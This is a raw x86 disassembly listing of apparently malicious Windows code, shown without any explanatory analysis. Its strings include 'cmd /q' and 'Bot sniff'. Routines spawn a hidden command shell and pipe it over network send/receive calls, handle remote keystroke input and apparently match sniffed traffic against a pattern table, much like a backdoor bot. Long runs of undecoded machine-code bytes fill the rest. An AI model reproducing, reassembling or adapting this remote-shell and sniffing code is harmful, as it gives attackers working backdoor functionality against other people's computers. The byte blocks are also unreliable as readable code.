mov edi, dword_427110 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 27307F4h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 268033Fh test eax, eax jz short loc_41199A mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43C248[eax], ecx nop call near ptr 2680000h jmp short loc_4119B0 ; --------------------------------------------------------------------------- loc_41199A: ; CODE XREF: sub_4118DE+9Aj call near ptr 26A0EA9h nop push eax push offset unk_434E3C call sub_415D62 mov esi, [ebp+var_4] pop ecx pop ecx loc_4119B0: ; CODE XREF: sub_4118DE+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_4118DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119B7 proc near ; DATA XREF: sub_411694+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270F4 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_4119E0: ; CODE XREF: sub_4119B7+8Fj call ebx test eax, eax jz short loc_411A48 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A1B loc_4119F1: ; CODE XREF: sub_4119B7+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A0B cmp dl, 0Dh jz short loc_411A0B mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A0B: ; CODE XREF: sub_4119B7+44j ; sub_4119B7+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_4119F1 loc_411A1B: ; CODE XREF: sub_4119B7+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4C9354 test eax, eax jle short loc_411A48 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_4119E0 ; --------------------------------------------------------------------------- loc_411A48: ; CODE XREF: sub_4119B7+2Dj ; sub_4119B7+79j mov esi, dword_42709C call esi cmp eax, 6Dh jz short loc_411A64 call esi push eax push offset dword_434E7C call sub_415D62 pop ecx pop ecx loc_411A64: ; CODE XREF: sub_4119B7+9Cj pop edi pop esi pop ebx leave retn sub_4119B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A69 proc near ; DATA XREF: sub_411694+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411A82: ; CODE XREF: sub_411A69+39j ; sub_411A69+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4C931C test eax, eax jle loc_411B87 cmp [ebp+var_10], ebx jbe short loc_411AA4 dec [ebp+var_10] jmp short loc_411A82 ; --------------------------------------------------------------------------- loc_411AA4: ; CODE XREF: sub_411A69+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411B67 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B14 cmp al, 7Fh jz short loc_411B14 cmp al, 3 jnz short loc_411ACF push ebx push ebx nop call near ptr 27A0000h jmp short loc_411B3B ; --------------------------------------------------------------------------- loc_411ACF: ; CODE XREF: sub_411A69+5Aj cmp al, 15h jnz short loc_411AF1 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B27 ; --------------------------------------------------------------------------- loc_411AF1: ; CODE XREF: sub_411A69+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B28 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B27 ; --------------------------------------------------------------------------- loc_411B14: ; CODE XREF: sub_411A69+52j ; sub_411A69+56j cmp esi, ebx jbe short loc_411B3E dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B27: ; CODE XREF: sub_411A69+86j ; sub_411A69+A9j pop ecx loc_411B28: ; CODE XREF: sub_411A69+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4C9354 test eax, eax jle short loc_411B87 loc_411B3B: ; CODE XREF: sub_411A69+64j mov al, byte ptr [ebp+arg_0+3] loc_411B3E: ; CODE XREF: sub_411A69+ADj cmp al, 0Dh jnz loc_411A82 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2720000h test eax, eax jz short loc_411B87 xor esi, esi jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B67: ; CODE XREF: sub_411A69+47j cmp [ebp+var_C], ebx jnz short loc_411B78 mov [ebp+var_C], 1 jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B78: ; CODE XREF: sub_411A69+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B87: ; CODE XREF: sub_411A69+2Bj ; sub_411A69+D0j ... pop edi pop esi pop ebx leave retn sub_411A69 endp ; --------------------------------------------------------------------------- dword_411B8C dd 81EC8B55h, 2D4ECh, 8458B00h, 6A575653h, 5BF08B10h, 0FF2CBD8Dh ; DATA XREF: sub_401AC7+2BD4o dd 2C6AFFFFh, 59FC5D89h, 16AA5F3h, 895FF633h, 0A8B8h, 458D5300h dd 0E85056ECh, 0A14Ch, 660CC483h, 2EC45C7h, 0C075FF00h dd 930415FFh, 66A004Ch, 66026A57h, 89EE4589h, 15FFF075h dd 4C9384h, 458BF88Bh, 34C069C4h, 53000002h, 0C24CB889h dd 458D0043h, 0FF5750ECh, 4C933015h, 0FC08500h, 12185h dd 570A6A00h, 932C15FFh, 0C085004Ch, 110850Fh, 75FF0000h dd 2CB5FFC0h, 0E8FFFFFFh, 0FFFF8DCEh, 858D5059h, 0FFFFFD2Ch dd 42BC9868h, 0C7E85000h, 830000A3h, 753910C4h, 562075D0h dd 0FD2C858Dh, 75FFFFFFh, 858D50CCh, 0FFFFFF30h, 2CB5FF50h dd 0E8FFFFFFh, 0FFFF7BFEh, 8D14C483h, 0FFFD2C85h, 7BE850FFh dd 59000040h, 50FC458Dh, 50DC458Dh, 9815FF57h, 0FF004C93h dd 0D88BC475h, 0DE45B70Fh, 0D8758950h, 0FFE075FFh, 4C939015h dd 858D5000h, 0FFFFFD2Ch, 434F2868h, 5BE85000h, 530000A3h dd 0FD2C858Dh, 196AFFFFh, 96F3E850h, 4589FFFFh, 34C069C8h dd 8B000002h, 0C483C44Dh, 44888920h, 8D0043C2h, 8D500845h dd 0FFFF2C85h, 685056FFh, 411D91h, 0E8905656h, 228E89Eh dd 69C84D8Bh, 234C9h, 89C63B00h, 43C25481h, 39137400h dd 850FD875h, 0FFFFFF63h, 0E890056Ah, 228E82Fh, 0E890EDEBh dd 228F195h, 2C858D50h, 68FFFFFDh, 434EECh, 0A2E0E850h dd 0C4830000h, 0FF39E90Ch, 0FF57FFFFh, 4C939C15h, 0C075FF00h dd 0FD2C858Dh, 0B868FFFFh, 5000434Eh, 0A2BDE8h, 0CC48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7AF4E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 3F71E8h, 0C475FF00h, 0FF9944E8h, 565959FFh dd 0E272E890h, 5E5F022Eh, 0EC8B555Bh, 5D4EC81h, 458B0000h dd 57565308h, 0F08B2C6Ah, 38BD8D59h, 0F3FFFFFFh, 0D4758BA5h dd 7589016Ah, 34F66908h, 5F000002h, 0C24CB68Dh, 0B8890043h dd 0ACh, 68BDB33h, 5F845C7h, 89000000h, 0FFFA3085h, 0F8458DFFh dd 858D5350h, 0FFFFFA2Ch, 89535053h, 0BD89FC5Dh, 0FFFFFA2Ch dd 92EC15FFh, 0C085004Ch, 36FF1875h, 939C15FFh, 75FF004Ch dd 98BFE808h, 5359FFFFh, 0E1EEE890h, 8D53022Eh, 0FFFB3085h dd 40868FFh, 0FF500000h, 1C15FF36h, 85004C93h, 0FF187FC0h dd 9C15FF36h, 0FF004C93h, 8EE80875h, 59FFFF98h, 0E1BEE853h dd 8090022Eh, 0FFFB30BDh, 850F04FFh, 1EDh, 0FB31BD80h dd 0F01FFFFh, 1E085h, 0BC5D3800h, 458D7774h, 858D50BCh dd 0FFFFFB38h, 0A96EE850h, 85590000h, 617459C0h, 50BC458Dh dd 0FB38858Dh, 6850FFFFh, 434FF0h, 3ED5E8h, 4006800h, 858D0000h dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85DFFFFh dd 9E64h, 8D18C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h dd 4C935415h, 0FF36FF00h, 4C939C15h, 875FF00h, 0FF97F8E8h dd 905359FFh, 2EE127E8h, 8D106A02h, 5053E845h, 9E2BE8h dd 858B6600h, 0FFFFFB32h, 660CC483h, 8BEA4589h, 0FFFB3485h dd 57066AFFh, 0C766026Ah, 2E845h, 0FFEC4589h, 4C938415h dd 83F88B00h, 5D75FFFFh, 929815FFh, 6850004Ch, 434FB0h dd 3E3DE8h, 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h dd 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh, 9DCCh, 8D14C483h dd 0FFFB3085h, 86A53FFh, 0FF36FF50h, 4C935415h, 0FF36FF00h dd 4C939C15h, 875FF00h, 0FF9760E8h, 905359FFh, 2EE08FE8h dd 0E8458D02h, 5750106Ah, 92AC15FFh, 0F883004Ch, 0FF5D75FFh dd 4C929815h, 6C685000h, 0E800434Fh, 3DCEh, 40068h, 38858D00h dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 5DE85BFFh dd 8300009Dh, 858D14C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh dd 4C9354h, 15FF36FFh, 4C939Ch, 0E80875FFh, 0FFFF96F1h dd 21E85359h, 90022EE0h, 40068h, 38858D00h, 53FFFFFBh dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 11E85AFFh, 8300009Dh dd 858D0CC4h, 0FFFFFB30h, 50086A53h, 15FF36FFh, 4C9354h dd 0E85736FFh, 39h, 0FF575959h, 4C939C15h, 0FF36FF00h dd 4C939C15h, 875FF00h, 0FF9694E8h, 0E85359FFh, 22EDFC4h dd 0FF36FF90h, 4C939C15h, 875FF00h, 0FF967CE8h, 0E85359FFh dd 22EDFACh db 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_41206B: ; CODE XREF: ___:0041211Aj ; ___:0041214Aj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_412083: ; CODE XREF: ___:00412091j mov edx, [ebp+8] cmp [eax], edx jz short loc_412093 inc ecx add eax, 4 cmp ecx, 1 jb short loc_412083 loc_412093: ; CODE XREF: ___:00412088j cmp ecx, 1 jnz short loc_4120A8 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120A8: ; CODE XREF: ___:00412096j push esi lea eax, [ebp-504h] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4C92EC lea eax, [ebp-104h] push eax push ebx call dword_4C91F0 test eax, eax jz short loc_412108 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_412150 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_412150 loc_412108: ; CODE XREF: ___:004120DAj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4C91F0 test eax, eax jz loc_41206B push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_412150 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4C9354 cmp eax, 0FFFFFFFFh jnz loc_41206B loc_412150: ; CODE XREF: ___:004120EFj ; ___:00412106j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412155 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+20A0o ; sub_40BD7C+106o dd 87CEC81h, 558B0000h, 57565308h, 0DB33016Ah, 0A9B958h dd 0F28B0000h, 0FC8CBD8Dh, 6A53FFFFh, 0FFA5F302h, 0FFFE9C85h dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h dd 4C9384h, 0FE83F08Bh, 685675FFh, 190h, 0E391E890h, 9D390228h dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7690E8FFh, 0C483FFFFh dd 88858D14h, 50FFFFF8h, 3B0DE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF94DDh, 90535959h, 2EDE0BE8h, 0F0458D02h, 0BF50046Ah dd 0FFFFh, 5657046Ah, 92E415FFh, 458D004Ch, 50046AECh dd 5657FB6Ah, 92E415FFh, 858B004Ch, 0FFFFFE98h, 0C069106Ah dd 234h, 4CB08953h, 8D0043C2h, 0E850D445h, 9AD8h, 660CC483h dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4C930415h, 45896600h dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4C933015h, 0FFF88300h dd 88681975h, 90000013h, 28E2CAE8h, 9C8DFF02h, 0FFFFFFFEh dd 2FE90875h, 8D000003h, 0FFFC9085h, 906868FFh, 0E8500042h dd 99F8h, 59C33B59h, 75FC4589h, 190684Ch, 0E8900000h, 228E297h dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF759Eh, 0F888858Dh, 0E850FFFFh dd 3A1Eh, 0FE98B5FFh, 0EEE8FFFFh, 83FFFF93h, 90531CC4h dd 2EDD1BE8h, 87D8B02h, 2A09F39h, 840F0000h, 27Dh, 80BFh dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 99EBE8h, 0CC48300h dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4C92ECh dd 8E0FC085h, 221h, 43B4B8A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh dd 0FFFA89BDh, 0F445C7FFh, 10h, 0AB66ABF3h, 0F4458DAAh dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h dd 4C92DC15h, 0C875FF00h, 0FFF84589h, 4C939015h, 458D5000h dd 6FE850B0h, 3800009Ch, 0FFFF309Dh, 0F5959FFh, 1AA85h dd 31BD8000h, 1FFFFFFh, 0A3850Fh, 858D0000h, 0FFFFFD94h dd 95A2E850h, 53530000h, 0E8FC75FFh, 0B5C4h, 8DFC75FFh dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh dd 9668h, 8D20C483h, 4589C44Dh, 4C083F8h, 51F475FFh, 858D5053h dd 0FFFFFA88h, 15FF5650h, 4C9368h, 0FF289D39h, 2375FFFFh dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7422h, 8D14C483h, 0FFF88885h dd 9FE850FFh, 59000038h, 110E9h, 31BD8000h, 4FFFFFFh, 0ED850Fh dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh dd 0C6FFFFFAh, 0FFFA8985h, 127503FFh, 0C932C0FEh, 0FA8A8588h dd 9D88FFFFh, 0FFFFFA8Bh, 0C1FE0EEBh, 0FA8A8588h, 8D88FFFFh dd 0FFFFFA8Bh, 0FC0B60Fh, 0E0C1C9B6h, 0BFC10308h, 200h dd 2B09E0C1h, 0FF5053C7h, 0CDE8FC75h, 0FF0000B4h, 858DFC75h dd 0FFFFFA8Ch, 50016A57h, 958FE8h, 1CC48300h, 458DF88Bh dd 0F87D89C4h, 50F475FFh, 5304478Dh, 88858D50h, 50FFFFFAh dd 6815FF56h, 3B004C93h, 8D6E75FBh, 8D50B045h, 0FFF88885h dd 503C68FFh, 0E8500043h, 9AFAh, 390CC483h, 0FFFF289Dh dd 532375FFh, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h dd 50FFFFFEh, 0FC8CB5FFh, 2BE8FFFFh, 83FFFF73h, 858D14C4h dd 0FFFFF888h, 37A8E850h, 5FF0000h, 4CBE0Ch, 0FF16EB59h dd 458DF475h, 6A5350C4h, 50306809h, 0FF560043h, 4C936815h dd 0F85D3900h, 0FD778F0Fh, 7D8BFFFFh, 15FF5608h, 4C939Ch dd 0E8FC75FFh, 945Bh, 0FE9C8DFFh, 9F39FFFFh, 2A0h, 0FF137559h dd 0FFFE98B5h, 912FE8FFh, 5359FFFFh, 0DA5EE890h, 0E868022Eh dd 90000003h, 28DF8EE8h, 0A2E85702h, 5FFFFFFBh, 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41262A push esi mov esi, offset dword_435070 loc_4125D2: ; CODE XREF: ___:00412625j push esi push dword ptr [ebp+0Ch] call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412619 push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_4363DC push 200h push eax call sub_41C100 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409862 add esp, 28h loc_412619: ; CODE XREF: ___:004125DFj add esi, 80h cmp esi, offset dword_435C70 jl short loc_4125D2 pop esi jmp short loc_412661 ; --------------------------------------------------------------------------- loc_41262A: ; CODE XREF: ___:004125CAj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C100 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409862 add esp, 24h loc_412661: ; CODE XREF: ___:00412628j xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_412665 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+736Bo dd 920EC81h, 458B0000h, 57565308h, 0F6E0A583h, 6A00FFFFh dd 8658326h, 0F08B5900h, 0FF20BD8Dh, 0A5F3FFFFh, 9480C7h dd 10000h, 0FFB90000h, 33000000h, 0E4BD8DC0h, 0F3FFFFF6h dd 8815FFABh, 8D004C92h, 3C6AB84Dh, 45895051h, 0A015FFF8h dd 0BB004C92h, 200h, 74E8086Ah, 900228DEh, 928815FFh, 453B004Ch dd 61840FF8h, 8D000001h, 3C6AB84Dh, 45895051h, 0A015FFF8h dd 83004C92h, 0F00A87Dh, 0CC84h, 20858D00h, 50FFFFFDh dd 9263E8h, 59C08500h, 458D7476h, 55E850B8h, 83000092h dd 735901F8h, 20858D65h, 50FFFFFDh, 0FB20858Dh, 6468FFFFh dd 50004364h, 98DDE8h, 8CEC8100h, 8D000000h, 0B58DB845h dd 0FFFFFF20h, 8B59266Ah, 858D50FCh, 0FFFFFB20h, 0E850A5F3h dd 0FFFFFE6Eh, 53084589h, 0FD20858Dh, 6AFFFFh, 95B2E850h dd 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh, 9DE85000h dd 83000095h, 858D0CC4h, 0FFFFFD20h, 91DEE850h, 0C0850000h dd 0AD860F59h, 8D000000h, 0E850B845h, 91CCh, 0F59C085h dd 9B86h, 20858D00h, 50FFFFFDh, 0FB20858Dh, 6468FFFFh dd 50004364h, 9851E8h, 8CEC8100h, 0EB000000h, 0B8458D34h dd 919AE850h, 0C0850000h, 14860F59h, 8D000001h, 8D50B845h dd 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43644468h, 1BE85000h dd 81000098h, 88ECh, 8D266A00h, 8D59B845h, 0FFFF20B5h dd 50FC8BFFh, 0FB20858Dh, 0A5F3FFFFh, 0FDACE850h, 4589FFFFh dd 858D5308h, 0FFFFFD20h, 0E850006Ah, 94F0h, 0ACC481h dd 858D0000h, 0FFFFFB20h, 50006A53h, 94DBE8h, 0CC48300h dd 0A87D83h, 0A1840Fh, 16A0000h, 92D015FFh, 3D66004Ch dd 850F8001h, 8Fh, 0FD20858Dh, 0E850FFFFh, 9100h, 7659C085h dd 8815FF7Eh, 8D004C92h, 0FFFAE08Dh, 513C6AFFh, 0A015FF50h dd 8D004C92h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43646468h dd 73E85000h, 81000097h, 8CECh, 0E0858D00h, 8DFFFFFAh dd 0FFFF20B5h, 59266AFFh, 8D50FC8Bh, 0FFFB2085h, 50A5F3FFh dd 0FFFD01E8h, 84589FFh, 20858D53h, 6AFFFFFDh, 45E85000h dd 81000094h, 0ACC4h, 20858D00h, 53FFFFFBh, 0E850006Ah dd 9430h, 0C70CC483h, 5C74FC45h, 106A0043h, 91D815FFh dd 0BF0F004Ch, 0FC458BF0h, 57FC788Bh, 92D015FFh, 0C4F6004Ch dd 6A7B7480h, 0D815FF14h, 66004C91h, 1F74C085h, 7EFFFE83h dd 40FF831Ah, 0FF83157Eh, 0C7107D5Bh, 0F6E0BD84h, 1FFFFh dd 0BDE90000h, 6A000001h, 0D815FF14h, 66004C91h, 1E74C085h dd 2E7DF685h, 7E40FF83h, 5BFF8315h, 84C7107Dh, 0FFF6E0BDh dd 2FFh, 192E900h, 0F6850000h, 84C7107Dh, 0FFF6E0BDh, 3FFh dd 17EE900h, 84C70000h, 0FFF6E0BDh, 4FFh, 16EE900h, 0B48B0000h dd 0FFF6E0BDh, 0BD848DFFh, 0FFFFF6E0h, 840FF685h, 158h dd 8D002083h, 0FFFD2085h, 8FF83FFh, 0E8137550h, 8FB4h dd 1F05A480h, 0FFFFFDh, 136E959h, 0A1E80000h, 3D00008Fh dd 1B9h, 0FF397659h, 4C928815h, 0B84D8D00h, 50513C6Ah dd 92A015FFh, 7D83004Ch, 0E7400A8h, 0FD20858Dh, 6850FFFFh dd 43642Ch, 458D55EBh, 858D50B8h, 0FFFFFD20h, 64106850h dd 64EB0043h, 0F0DFF83h, 0B985h, 20858D00h, 50FFFFFDh dd 8F4BE8h, 59C08500h, 0D2840Fh, 15FF0000h, 4C9288h, 6AB84D8Dh dd 0FF50513Ch, 4C92A015h, 0A87D8300h, 8D1D7400h, 0FFFD2085h dd 0FC6850FFh, 8D004363h, 0FFFB2085h, 0B7E850FFh, 83000095h dd 1FEB0CC4h, 50B8458Dh, 0FD20858Dh, 6850FFFFh, 4363E4h dd 0FB20858Dh, 0E850FFFFh, 9596h, 8110C483h, 98ECh, 0B8458D00h dd 0FF20B58Dh, 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh dd 0FB24E850h, 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah dd 9268h, 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 9253E8h dd 0CC48300h, 0FE832EEBh, 83147401h, 0F7403FEh, 7402FE83h dd 4FE8305h, 75FF1A75h, 8B07EBFCh, 0C083FC45h, 858D5007h dd 0FFFFFD20h, 9B42E850h, 59590000h, 14FC4583h, 0A4FC7D81h dd 0F004363h, 0FFFDE98Ch, 87D83FFh, 0B5840F00h, 0FFFFFFFBh dd 0FFFF24B5h, 8BB3E8FFh, 6A59FFFFh, 0E1E89000h db 0D4h, 2Eh, 2 byte_412B1F db 55h ; DATA XREF: sub_401AC7+4151o dd 0B4B8EC8Bh, 0E8000102h, 9774h, 5608558Bh, 58016A57h dd 256AF28Bh, 0FF4CBD8Dh, 8959FFFFh, 0A5F3F845h, 908289h dd 0F6330000h, 458D106Ah, 0E85056E4h, 91B8h, 660CC483h dd 2E445C7h, 15FF5600h, 4C9304h, 0FF4CB5FFh, 8966FFFFh dd 83E8E645h, 59FFFF7Eh, 4415FF50h, 56004C93h, 26A036Ah dd 0FFE84589h, 4C938415h, 83F88B00h, 7D89FFFFh, 0FF5D75FCh dd 4C929815h, 858D5000h, 0FFFFFD4Ch, 436DC468h, 57E85000h dd 83000094h, 75390CC4h, 562075D8h, 0FD4C858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF6C8Eh dd 8D14C483h, 0FFFD4C85h, 0BE850FFh, 0FF000031h, 0DEE8D075h dd 59FFFF8Ah, 0E8905659h, 22ED40Ch, 6AD0458Bh, 34C06910h dd 89000002h, 43C24CB8h, 0E4458D00h, 15FF5750h, 4C9330h dd 75FFF883h, 9815FF64h, 50004C92h, 0FD4C858Dh, 9868FFFFh dd 5000436Dh, 93D9E8h, 0CC48300h, 75D87539h, 858D5620h dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h dd 6C10E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 308DE8h dd 0FF575900h, 4C939C15h, 0D075FF00h, 0FF8A58E8h, 905659FFh dd 2ED387E8h, 458D5602h, 565056E0h, 0F8458D56h, 6850046Ah dd 98000001h, 0B015FF57h, 83004C92h, 6475FFF8h, 929815FFh dd 8D50004Ch, 0FFFD4C85h, 6D6868FFh, 0E8500043h, 9356h dd 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh, 8D50D475h dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF6B8DE8h, 14C483FFh dd 0FD4C858Dh, 0E850FFFFh, 300Ah, 15FF5759h, 4C939Ch, 0E8D075FFh dd 0FFFF89D5h, 0E8905659h, 22ED304h, 6480BB53h, 0FFBF0043h dd 8D0000FFh, 0FEFD4C85h, 505657FFh, 8FFBE8h, 0CC48300h dd 0FD4C858Dh, 5756FFFEh, 0FC75FF50h, 931C15FFh, 0F883004Ch dd 0FC840FFFh, 80000000h, 0FEFD55BDh, 0C67506FFh, 0FD58858Bh dd 0BD80FFFEh, 0FFFEFD6Dh, 0F4458918h, 858DB475h, 0FFFEFD74h dd 436D5C68h, 21E85000h, 59000093h, 7559C085h, 74858D9Dh dd 68FFFEFDh, 436D4Ch, 930AE850h, 85590000h, 867559C0h dd 0FF33C38Bh, 840FC085h, 0FFFFFF7Ah, 50085D89h, 0FD74858Dh dd 0E850FFFEh, 92E8h, 59C08559h, 83470F75h, 8B180845h dd 0E3750845h, 0FFFF55E9h, 74858DFFh, 50FFFEFDh, 0FD60B5FFh dd 15FFFFFEh, 4C9234h, 50C0B70Fh, 0FFF475FFh, 4C939015h dd 48D5000h, 0C5048B7Fh, 436494h, 708534FFh, 8D004364h dd 0FFFD4C85h, 6D1868FFh, 680043h, 50000002h, 930BE8h dd 1CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6A48E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 2EC5E8h, 0D3E95900h, 0FFFFFFFEh dd 4C929815h, 0EC685000h, 8D00436Ch, 0FFFD4C85h, 20068FFh dd 0E8500000h, 92B4h, 3910C483h, 755BD875h, 858D5620h dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h dd 69F0E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 2E6DE8h dd 75FF5900h, 9C15FFFCh, 0FF004C93h, 36E8D075h, 59FFFF88h dd 65E89056h db 0D1h, 2Eh, 2 ; =============== S U B R O U T I N E ======================================= sub_412E9B proc near ; CODE XREF: sub_4131AA+213p ; sub_4131AA+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CC074, eax mov eax, offset dword_4CC074 retn sub_412E9B endp ; =============== S U B R O U T I N E ======================================= sub_412EAA proc near ; CODE XREF: sub_4131AA+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412EC4 loc_412EC0: ; CODE XREF: sub_412EAA+29j ; sub_412EAA+3Aj ... xor al, al pop esi retn ; 